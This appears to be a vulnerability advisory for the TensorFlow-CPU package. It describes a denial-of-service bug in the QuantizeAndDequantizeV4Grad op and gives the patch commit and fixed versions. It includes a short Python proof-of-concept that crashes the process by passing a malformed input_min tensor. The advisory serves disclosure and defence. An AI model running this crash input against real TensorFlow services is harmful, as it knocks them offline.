PT-2026-59948 · Pypi · Tensorflow-Cpu
Published
2026-07-09
·
Updated
2026-07-09
CVSS v3.1
5.5
Medium
| Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
Impact
The implementation of [
tf.raw ops.QuantizeAndDequantizeV4Grad](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantize and dequantize op.cc#L148-L226) does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:python
import tensorflow as tf
tf.raw ops.QuantizeAndDequantizeV4Grad(
gradients=tf.constant(1, shape=[2,2], dtype=tf.float64),
input=tf.constant(1, shape=[2,2], dtype=tf.float64),
input min=tf.constant([], shape=[0], dtype=tf.float64),
input max=tf.constant(-10, shape=[], dtype=tf.float64),
axis=-1)The code assumes
input min and input max are scalars but there is no validation for this.Patches
We have patched the issue in GitHub commit 098e7762d909bac47ce1dbabe6dfd06294cb9d58.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Fix
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Related Identifiers
Affected Products
Tensorflow-Cpu